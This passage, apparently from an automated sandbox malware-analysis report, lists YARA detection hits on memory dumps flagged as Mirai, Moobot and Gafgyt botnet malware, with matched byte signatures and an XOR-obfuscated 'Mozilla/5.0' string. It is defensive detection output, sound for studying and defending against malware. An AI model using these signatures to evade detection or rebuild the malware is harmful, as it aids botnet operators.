2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7315.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6448.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6448.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6448.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6448.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6448.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6448.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6329.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6611.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6611.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6611.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6611.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6611.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6611.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7030.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6267.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6267.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6267.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6267.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7070.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7070.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7070.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7070.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7070.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7070.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6277.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7369.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7369.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7369.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7185.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7410.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6244.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
